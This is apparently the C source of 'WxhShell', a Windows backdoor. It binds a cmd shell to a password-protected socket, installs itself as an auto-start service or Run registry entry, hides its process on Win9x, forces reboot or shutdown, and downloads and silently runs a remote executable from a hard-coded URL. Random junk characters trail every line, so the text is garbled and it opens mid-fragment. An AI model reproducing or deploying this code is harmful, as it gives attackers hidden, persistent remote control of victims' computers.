    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QG9 2^  
    if(Boot(SHUTDOWN)) eW >k'ez  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m5d;lrk@&/  
    else { M6?Qw=  
    closesocket(wsh); >656if O  
    ExitThread(0); s 6hj[^O  
    } dd4yS}yBlR  
    break; kP;Rts8JD  
    } V l9\&EL  
  // 获取shell b$gDFNa  
  case 's': { hZzsZQ`  
    CmdShell(wsh); L YH9P-5H  
    closesocket(wsh); _bMs~%?~/  
    ExitThread(0); {n1o)MZ]R  
    break; PiH#9X B  
  } m&ZdtB|  
  // 退出 T\c dtjk  
  case 'x': { lXz<jt@5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ruE.0VI@  
    CloseIt(wsh); n7{c0;)$  
    break; sHEISNj/^  
    } TS1 k'<c?  
  // 离开 DTr0u}m  
  case 'q': { Vx#xq#wK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pel3e ~?t  
    closesocket(wsh); 9'4cqR  
    WSACleanup(); o^AK@\e:^Z  
    exit(1); IPT}JX'  
    break; zR`]8E]  
        } +w}5-8mH&>  
  } Fir7z nRW  
  } ].1R~7b  
7qh_URt@  
  // 提示信息 a!>AhOk.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +"d{P,[3J  
} %OzxR9  
  } XE>XzsnC  
e1'_]   
  return; ]AfeaU'>  
} isDr|g$S  
3[Z?`X  
// shell模块句柄 8taaBM`:  
int CmdShell(SOCKET sock) ]*v%(IGK  
{ :z^c<KFX  
STARTUPINFO si; G-;pMFP(?  
ZeroMemory(&si,sizeof(si)); CP={|]>+S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NVOY,g=3X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z1YC%Y|R  
PROCESS_INFORMATION ProcessInfo; Xt$?Kx_,  
char cmdline[]="cmd"; $aVcWz %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p-Q1abl  
  return 0; .-<o[(s  
} 2P]rJ  
*d)B4qG  
// 自身启动模式 *VL-b8'A<  
int StartFromService(void) tF=96u_X  
{ R2r0'Yx  
typedef struct i  #8)ad  
{ &}*[-z  
  DWORD ExitStatus; gI T"nG=a4  
  DWORD PebBaseAddress; m@TU2  
  DWORD AffinityMask; |*8 J.H*r  
  DWORD BasePriority;  H'2pmwk  
  ULONG UniqueProcessId; FVHEb\Z  
  ULONG InheritedFromUniqueProcessId; V}Oxz04  
}   PROCESS_BASIC_INFORMATION; 1vQ*Br  
E*k=8$Y  
PROCNTQSIP NtQueryInformationProcess; j1>1vD-`T  
mGoUF$9 k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a N_M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k}JjSt1_A;  
|nv8&L8  
  HANDLE             hProcess; z+Y0Zh";/#  
  PROCESS_BASIC_INFORMATION pbi; nww,y  
I)n%aTfo8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [_CIN  
  if(NULL == hInst ) return 0; fF<~2MiKw  
k`xPf\^tf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j].XVn,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @#;~_?$?C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l8jm7@.E  
vr2tMD  
  if (!NtQueryInformationProcess) return 0; ~#O nA1)  
o5A@U0c_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UG 9uNgzQ/  
  if(!hProcess) return 0; U H `=  
uBH4E;[f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +>Y2luR1  
8,=,'gFO  
  CloseHandle(hProcess); `BF+)fs  
eY;XF.mF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eUQrn>`  
if(hProcess==NULL) return 0; g \&Z_  
MBp%TX!  
HMODULE hMod; b-\ 1D;]  
char procName[255]; "V}WV!w  
unsigned long cbNeeded; 9J$N5  
B[epI3 R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PsaKzAg?  
Y2W|b5  
  CloseHandle(hProcess); xo a1='  
b<n*wH  
if(strstr(procName,"services")) return 1; // 以服务启动 eD 4X:^@  
ot($aY,t  
  return 0; // 注册表启动 +<a-;e{  
} X@RS /  
SFv'qDA  
// 主模块 +DU^"q=  
int StartWxhshell(LPSTR lpCmdLine) 0*]n#+=  
{ 41Hv)}Yd  
  SOCKET wsl; kUGOkSP8[  
BOOL val=TRUE; @IhC:Yc  
  int port=0; xhK8Q  
  struct sockaddr_in door; E2K{9@i  
N?`V;`[  
  if(wscfg.ws_autoins) Install(); {bHUZen  
rP|~d}+I  
port=atoi(lpCmdLine); n+MWny  
& %A&&XT9  
if(port<=0) port=wscfg.ws_port; \Kr8k`f  
B\S}*IE  
  WSADATA data; g&z8t;@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M#n lKj<  
B X\/Am11  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >m]LV}">O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +`,;tz=?  
  door.sin_family = AF_INET; v;soJlxF~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )G#mC0?PV  
  door.sin_port = htons(port); o3]Lrzh  
.V4-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .DNPL5[v  
closesocket(wsl); v{d$DZUs  
return 1; A:y HClmn  
} J0V`sK  
 bTU[E  
  if(listen(wsl,2) == INVALID_SOCKET) { =PU($  
closesocket(wsl); `AYq,3V  
return 1; XeX\u3<D  
} <O5WY37"q  
  Wxhshell(wsl); 3xT9/8*  
  WSACleanup(); m _cRK}>  
U0gZf5;*  
return 0; $=iw<B r  
{{jV!8wK  
} fIl;qGz85  
84vd~Cf 9  
// 以NT服务方式启动 (+c1.h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {j=`  
{  0:f]&Ng  
DWORD   status = 0; [Ur\^wS  
  DWORD   specificError = 0xfffffff; s$).Z(6  
+$|fUn{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~: {05W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gVrQAcJj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DmpT<SI+!  
  serviceStatus.dwWin32ExitCode     = 0; ! !A0K"h  
  serviceStatus.dwServiceSpecificExitCode = 0; u<Y#J,p`e  
  serviceStatus.dwCheckPoint       = 0; B*N1)J\5  
  serviceStatus.dwWaitHint       = 0; U@M3.[jw  
RN[I%^$"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E7t;p)x  
  if (hServiceStatusHandle==0) return; kk %32(By  
=hkYQq`Q  
status = GetLastError(); q pCI [[  
  if (status!=NO_ERROR) 4);_f  
{ <%HRs>4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PVsKI<  
    serviceStatus.dwCheckPoint       = 0; #L~i|(=U5  
    serviceStatus.dwWaitHint       = 0; CuWJai:nQ;  
    serviceStatus.dwWin32ExitCode     = status; e"ehH#i  
    serviceStatus.dwServiceSpecificExitCode = specificError; &}r"Z?f)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H_X^)\oJ  
    return; G 5;6q  
  } Iko]c_W0  
& 3BoK/y3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GC{M"q|_  
  serviceStatus.dwCheckPoint       = 0; X` zWw_i  
  serviceStatus.dwWaitHint       = 0; 64<;6*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  Y !?'[t  
} 93>4n\  
s_'&_>D  
// 处理NT服务事件,比如:启动、停止 u= NLR\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )h8}{*  
{ 9af.t  
switch(fdwControl) ,~1"50 Hp@  
{ Y()" 2CCV  
case SERVICE_CONTROL_STOP: 98>GHl'lM  
  serviceStatus.dwWin32ExitCode = 0; c+ oi8G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -L1785pB85  
  serviceStatus.dwCheckPoint   = 0; y0%1YY  
  serviceStatus.dwWaitHint     = 0; Z!)~?<gcq:  
  { # z|Q $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |A%9c.DG.  
  } Ao\xse{E  
  return; ieFl4hh[G  
case SERVICE_CONTROL_PAUSE: tAdE<).!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^7-zwl(>?N  
  break; Oynb "T&8  
case SERVICE_CONTROL_CONTINUE: |' Fe?~P`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7?$?Yu  
  break; Y`;}w}EcgR  
case SERVICE_CONTROL_INTERROGATE: eTiTS*`u  
  break; 2cR[~\_9.  
}; -U d^\Yy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fx9-A8oIR  
} (W ~K1]  
/yOx=V  
// 标准应用程序主函数 1E+12{~m"i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9)Fx;GxL  
{ N3%X>*'  
6b2UPI7m~  
// 获取操作系统版本 M]x> u@JH  
OsIsNt=GetOsVer(); {.p.?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A,}M ^$@  
eS`VI+=@0  
  // 从命令行安装 =]W i aF  
  if(strpbrk(lpCmdLine,"iI")) Install(); '! [oLy  
b)LT[>f  
  // 下载执行文件 /*K2i5&X  
if(wscfg.ws_downexe) { p4`1^}f&Ie  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JMb_00r  
  WinExec(wscfg.ws_filenam,SW_HIDE); dY*q[N/pO  
} RB5SK#z  
]Bhy  =1  
if(!OsIsNt) { {/'T:n#  
// 如果时win9x,隐藏进程并且设置为注册表启动 j4.wd RK  
HideProc(); asT-=p_ 0.  
StartWxhshell(lpCmdLine); !?2)a pM  
} hAGHb+:  
else $#Pxf  
  if(StartFromService()) 8Zv``t61  
  // 以服务方式启动 Z_d"<k}I  
  StartServiceCtrlDispatcher(DispatchTable); 8bIP"!=*W  
else /%wS5IZ^  
  // 普通方式启动 swKkY`g  
  StartWxhshell(lpCmdLine); q7R]!zk  
Q;M\fBQO}&  
return 0; k6G _c;V  
} ^h(wi`i  
!X>u.}?g  
V%Uj\cv  
Knq 9 "k  
=========================================== WK ~H]w  
3EoCEPb#  
*@U{[J  
&!!*xv-z  
1W^hPY  
[$N_YcN?  
" U1RU2M]v  
=L6#=7hcl  
#include <stdio.h> pLMt 2 G  
#include <string.h> tFN >]`Z  
#include <windows.h> _fAgp_)  
#include <winsock2.h> h$cm:uks  
#include <winsvc.h> #c"eff  
#include <urlmon.h> 4aW@c<-r?  
.3!Wr*o  
#pragma comment (lib, "Ws2_32.lib") ;KeU f(tH  
#pragma comment (lib, "urlmon.lib") Q7%4`_$!  
.[|UNg  
#define MAX_USER   100 // 最大客户端连接数 Xn7G2Yp  
#define BUF_SOCK   200 // sock buffer 0;Z|:\P\=  
#define KEY_BUFF   255 // 输入 buffer RObnu*  
9 {4yC9Oz>  
#define REBOOT     0   // 重启 c-LzluWi  
#define SHUTDOWN   1   // 关机 /y$Omc^  
.RD<]BxJ  
#define DEF_PORT   5000 // 监听端口 wxN)d B  
J<) qw  
#define REG_LEN     16   // 注册表键长度 e UPa5{P  
#define SVC_LEN     80   // NT服务名长度 ]#!uke Q  
B(Sy.n  
// 从dll定义API [Nyt0l "z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H]TdW;ZbZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l|5 h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1S{Biqi+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #]#9Xq  
9A .RD`fg  
// wxhshell配置信息 X/_I2X  
struct WSCFG { K)Y& I  
  int ws_port;         // 监听端口 Vl^(K_`(  
  char ws_passstr[REG_LEN]; // 口令 ,Oo`*'a[o7  
  int ws_autoins;       // 安装标记, 1=yes 0=no h my%X`%j  
  char ws_regname[REG_LEN]; // 注册表键名 cNll??j  
  char ws_svcname[REG_LEN]; // 服务名 3?OQ-7,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {Jr1K,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8|&,JdT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rPxRGoR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >P6"-x,["  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a~o <>H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O\}C`CiC  
\;;M")$  
}; +qi& ?}  
kG^76dAQL  
// default Wxhshell configuration !$I~3_c  
struct WSCFG wscfg={DEF_PORT, /2^L;#  
    "xuhuanlingzhe", UmKE]1Yw4r  
    1, %h. zkocM  
    "Wxhshell", z8=THz2f  
    "Wxhshell", R'c*CLaiE  
            "WxhShell Service", *CN *G"  
    "Wrsky Windows CmdShell Service", <,vIN,Kl8/  
    "Please Input Your Password: ", {X,%GI  
  1, t~2oEwTm  
  "http://www.wrsky.com/wxhshell.exe", >a3m!`lq  
  "Wxhshell.exe" ~E}kwF  
    }; Upz)iOqLi  
:UwBs  
// 消息定义模块 >`QBN1 Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W]4Z4&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z']6C9m}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i?L=8+9f  
char *msg_ws_ext="\n\rExit."; xU'z>y4V$  
char *msg_ws_end="\n\rQuit."; w4 yrAj 2  
char *msg_ws_boot="\n\rReboot..."; 1$cl "d`~  
char *msg_ws_poff="\n\rShutdown..."; )x-b+SC  
char *msg_ws_down="\n\rSave to "; O:BdZ5 b  
Q0A4}  
char *msg_ws_err="\n\rErr!"; (Cr  
char *msg_ws_ok="\n\rOK!"; <ZT C^=3  
{7y;s  
char ExeFile[MAX_PATH]; 9.)z]Gav  
int nUser = 0; :.PA(97x b  
HANDLE handles[MAX_USER]; hcVu`Bn  
int OsIsNt; &M-vKc"d  
$S>'0mL  
SERVICE_STATUS       serviceStatus; :'h$]p%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x,n l PU  
3f =ZNJ>  
// 函数声明 w4fKh  
int Install(void); mG)5xD  
int Uninstall(void); =r]l"T  
int DownloadFile(char *sURL, SOCKET wsh); 8Z !%rS  
int Boot(int flag); jCY~Wc  
void HideProc(void); MkW=sD_  
int GetOsVer(void); '2X$. ^aW  
int Wxhshell(SOCKET wsl); !'_7MM  
void TalkWithClient(void *cs); QC'Ru'8S  
int CmdShell(SOCKET sock); #cQ5-R -1  
int StartFromService(void); 'VV U-)(8  
int StartWxhshell(LPSTR lpCmdLine); S(@kdL  
kA=5Kc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b}TvQ+W]2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3$hIc)  
6UCF w>  
// 数据结构和表定义 zS:2?VXxq  
SERVICE_TABLE_ENTRY DispatchTable[] = 4?Y7. :x  
{ fXWy9 #M  
{wscfg.ws_svcname, NTServiceMain}, J4+WF#xI2  
{NULL, NULL} rC@VMe|0  
}; D%+yp  
@QTw9,pS  
// 自我安装 lEl.'X$  
int Install(void) HGAi2+&  
{ kqX=3Zo  
  char svExeFile[MAX_PATH]; LZ wCe$1  
  HKEY key; UvGxA[~2+  
  strcpy(svExeFile,ExeFile); ![Qi+xyc  
1j<uFhi>  
// 如果是win9x系统,修改注册表设为自启动 XaCvBQ  
if(!OsIsNt) { A6[FH\f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e?XFtIj$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %GTFub0 F  
  RegCloseKey(key); U 2-{p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]I)ofXu]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *rTg>)  
  RegCloseKey(key); Mf14> `<`  
  return 0; $y6 <2w%b  
    } 3w)r""C&  
  } c5%}* "z  
} T9R# .y,  
else { 1UK= t  
8#;=>m%  
// 如果是NT以上系统,安装为系统服务 * EGzFXa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T; tY7;<  
if (schSCManager!=0) vyDxX  
{ S3/%;=|  
  SC_HANDLE schService = CreateService -+{[.U<1jk  
  ( ?o[h$7` o6  
  schSCManager, dV[G-p  
  wscfg.ws_svcname, N ;=z o-8  
  wscfg.ws_svcdisp, O|sk "YXF  
  SERVICE_ALL_ACCESS, hlL$3.]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pMT7/y-  
  SERVICE_AUTO_START, +rU{-`dy9'  
  SERVICE_ERROR_NORMAL, kJmwR  
  svExeFile, hYpxkco"4'  
  NULL, N `:MF 9  
  NULL, zYV{ |Z  
  NULL, 7)QZ<fme  
  NULL, C IMI?  
  NULL Hk;;+'-  
  ); VxDIA_@y  
  if (schService!=0) 7zCJ3p  
  { V<#KFm$>C  
  CloseServiceHandle(schService); [ne51F5_  
  CloseServiceHandle(schSCManager); 27N;>   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \_O#M   
  strcat(svExeFile,wscfg.ws_svcname); 6&0@k^7~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AE>W$x8P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;*Vnwt A  
  RegCloseKey(key); }O7sP^  
  return 0; F}{%*EJ  
    } ,V,mz?d^9  
  } ld ]*J}cw  
  CloseServiceHandle(schSCManager); f~wON>$K  
} xjr4')h  
} d eT<)'"  
vY_[@y  
return 1; i*/i"W<  
} z(A[xN@/W<  
2, )>F"R  
// 自我卸载 +ZNOvcsV  
int Uninstall(void) y@l&B+2ks  
{ W9]z]6  
  HKEY key; H2BRI d  
_M/N_Fm  
if(!OsIsNt) { <~5O-.G]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { chL1r9V)v  
  RegDeleteValue(key,wscfg.ws_regname); 5?;<^J  
  RegCloseKey(key); `{:Nt#7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iGhvQmd(/*  
  RegDeleteValue(key,wscfg.ws_regname); exJc[G&t(  
  RegCloseKey(key); }qso} WI  
  return 0; 't`h?VvL  
  } IWu=z!mO  
} P4Pc;8T@!  
} K1hkOj;S  
else { ~BuzI9~7P  
nSyLt6zn\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r\Y,*e  
if (schSCManager!=0) r{v3 XD/  
{ 7*uN[g#p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pL1ABvBB  
  if (schService!=0) 56z>/`=  
  { zN!W_2W*  
  if(DeleteService(schService)!=0) { V8 8u -  
  CloseServiceHandle(schService); `.J)Z=o  
  CloseServiceHandle(schSCManager); vU,7Y|t`  
  return 0; yS~Y"#F!.  
  } (G> su  
  CloseServiceHandle(schService); U\lbh;9G  
  } >hNSEWMY`  
  CloseServiceHandle(schSCManager); jdG2u p  
} 6ioj!w<N  
} !6=s{V&r1  
6"G(Iq'2t3  
return 1; zK~8@{l}_"  
} &D M3/^70  
g/.FJ-I*  
// 从指定url下载文件 :G 5p`;hGo  
int DownloadFile(char *sURL, SOCKET wsh) -lJ|x>PG'  
{ 2x<BU3  
  HRESULT hr; )8oyo~4?  
char seps[]= "/"; O~qRHYv  
char *token; Z~Q5<A9Jz  
char *file; h>!h|Ma  
char myURL[MAX_PATH]; HE+'fQ!R  
char myFILE[MAX_PATH]; u W,J5!  
]\fHc"/  
strcpy(myURL,sURL);  it H  
  token=strtok(myURL,seps); }Q: CZ  
  while(token!=NULL) 9ad)=3A&L  
  { T%%EWa<a  
    file=token; +!u9_?Tp  
  token=strtok(NULL,seps); }Y7P2W+4?  
  } #9(+)~irz`  
n>u_>2Ikkj  
GetCurrentDirectory(MAX_PATH,myFILE); eg*aVb  
strcat(myFILE, "\\"); Vyi.:lL _8  
strcat(myFILE, file); f B<Qs.T  
  send(wsh,myFILE,strlen(myFILE),0); Os[z >H?  
send(wsh,"...",3,0); [O\ )R[J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SVVEb6&  
  if(hr==S_OK) SN"Y@y)=  
return 0; y$fMMAN7  
else K@n-#  
return 1; [H\0 '  
)kjQ W&)g  
} O+mEE>:w%  
_}47U7s8  
// 系统电源模块 38&K"  
int Boot(int flag) 4j0;okQWV'  
{ rCqwJoC`v  
  HANDLE hToken; 56YqYu.  
  TOKEN_PRIVILEGES tkp; `&x>2FJ  
F}mt *UcMG  
  if(OsIsNt) { 38-kl,Vw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W"s/ 8;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hj`'4  
    tkp.PrivilegeCount = 1; ^vh!1"T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tr>_R%bK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rm n|!C%%K  
if(flag==REBOOT) { 93Gj#Mk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x2fqfrr_]  
  return 0; JO]?u(m01  
} j/oc+ M^  
else { xH28\]F5n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xC + >R1)  
  return 0; g3'dkS!  
} (ZF~   
  } /w6'tut  
  else { [KGj70|~  
if(flag==REBOOT) { G a$2o6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "kc%d'c(  
  return 0; C.u) 2[(  
} ;)f,A)(Z  
else { B|^=2 >8s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OS(Ua  
  return 0; iqX%pR~Yo  
} o<s~455m/  
} z6qx9x|Ij  
W`#E[g?]  
return 1; |gk"~D  
} s}gdi  
FgP{  
// win9x进程隐藏模块 %t.\J:WN;  
void HideProc(void) Z_jV0[\v0P  
{ ? R[GSS1  
0LHge7482  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C?g*c  
  if ( hKernel != NULL ) Cw.DLg  
  { 1X&scVw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Z/0i|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KAT^vbR  
    FreeLibrary(hKernel); V22Br#+  
  } q+4<"b+6G  
XS0NjZW  
return; L6=5]?B=  
} 9Pm|a~[m  
w*Ze5j4@ \  
// 获取操作系统版本 n5#9o},oK  
int GetOsVer(void) {4R;C~E8  
{ DT]3q4__Q  
  OSVERSIONINFO winfo; riglEA[^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h&Q-QU  
  GetVersionEx(&winfo); 7c'OIY].,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >hotkMX `3  
  return 1; j{%'A  
  else 6,p;8I  
  return 0; bFIv}c+;  
} f5CnJhE|)  
6bpO#&T  
// 客户端句柄模块 Ve\!:,(Y_  
int Wxhshell(SOCKET wsl) a&n}pnEn)  
{ VsRdZ4  
  SOCKET wsh; s(Fxi|v;  
  struct sockaddr_in client; N2EX`@_2  
  DWORD myID; Y]}>he1/5  
?trqe/  
  while(nUser<MAX_USER) HO8x:2m  
{ 9>L{K   
  int nSize=sizeof(client); +,0 :L :a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YksJ$yH^  
  if(wsh==INVALID_SOCKET) return 1; B}ASZYpW>  
u6p nO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4,6nk.$yN  
if(handles[nUser]==0) }zwHUf9q1  
  closesocket(wsh); b0Fr]oGp  
else ^: V6=  
  nUser++; }mQh^  
  } 'y:+w{I2o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [YQ` `  
-*"Q-GO  
  return 0; PqwoZo0j  
} |^kfa_d  
y{uN+QS  
// 关闭 socket C'//(gjQ-G  
void CloseIt(SOCKET wsh) e^Lt{/  
{ pr"~W8  
closesocket(wsh); Z^vcODeC$  
nUser--; dpcFS0  
ExitThread(0); P<gr=&  
} `Ot;KDz  
# Q_ d  
// 客户端请求句柄 zJa,kN|m  
void TalkWithClient(void *cs) {nlqQ.jO  
{ N|L Ey  
`}9jvR5  
  SOCKET wsh=(SOCKET)cs; ZAcW@xfb  
  char pwd[SVC_LEN]; X` FFI6pb  
  char cmd[KEY_BUFF]; ")ZsY9-P  
char chr[1]; 1k! xG$g0  
int i,j; V:8ph`1  
5PU$D`7it  
  while (nUser < MAX_USER) { x_TtS|   
]@MBE1M  
if(wscfg.ws_passstr) { qdeS*r p\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w- .=u3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /_ MEb42&  
  //ZeroMemory(pwd,KEY_BUFF); l^ aUN  
      i=0; U[ $A=e?\Y  
  while(i<SVC_LEN) { L=wg"$  
? 3 l4U  
  // 设置超时 d,9YrwbD  
  fd_set FdRead; GGR hM1II  
  struct timeval TimeOut; 3bp'UEF^k  
  FD_ZERO(&FdRead); :7+E fu  
  FD_SET(wsh,&FdRead); V=,VOw4  
  TimeOut.tv_sec=8; |P"p/iY  
  TimeOut.tv_usec=0; ekj@;6 d]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tzeS D C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y-iuOzq4  
iX{Lc+u3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,^UNQO*{GI  
  pwd=chr[0]; $m;rOKVU  
  if(chr[0]==0xd || chr[0]==0xa) { FM3DJ?\L-  
  pwd=0; aBO%qmtt  
  break; \*V`w@  
  } |hprk-R*OH  
  i++; 8W|qm;J98  
    } t(|\3$z  
;n Pjyu'g  
  // 如果是非法用户,关闭 socket <XV\8Y+n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *k(>Qsb "  
} "@JSF  
I3A@0'Vm;L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 72gQ<Si  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RfMrGC^?  
YJlpP0;++  
while(1) { (1r.AG`g  
wsyG~^>  
  ZeroMemory(cmd,KEY_BUFF); r?s,  
3%<Uq%pJ  
      // 自动支持客户端 telnet标准   / ;U  
  j=0; yB&+2  
  while(j<KEY_BUFF) { F j_r n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Fp-6J  
  cmd[j]=chr[0]; kMGK 8y  
  if(chr[0]==0xa || chr[0]==0xd) { :&#HrD[KT  
  cmd[j]=0; ps#+i  
  break; { jnQoxN  
  } un4q,Ac~0  
  j++; -uDB#?q:W  
    } WKf->W  
lF]cUp#<  
  // 下载文件 3@ a  
  if(strstr(cmd,"http://")) { B5>1T[T'-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SMr ]Gf.  
  if(DownloadFile(cmd,wsh)) B!|<<;Da6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Z TN  
  else H[ 6L!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "HRoS#|\  
  } -c-#1_X5  
  else { HS{a^c%  
`I(#.*  
    switch(cmd[0]) { W\s ]qsLS  
  2%YtMkC5  
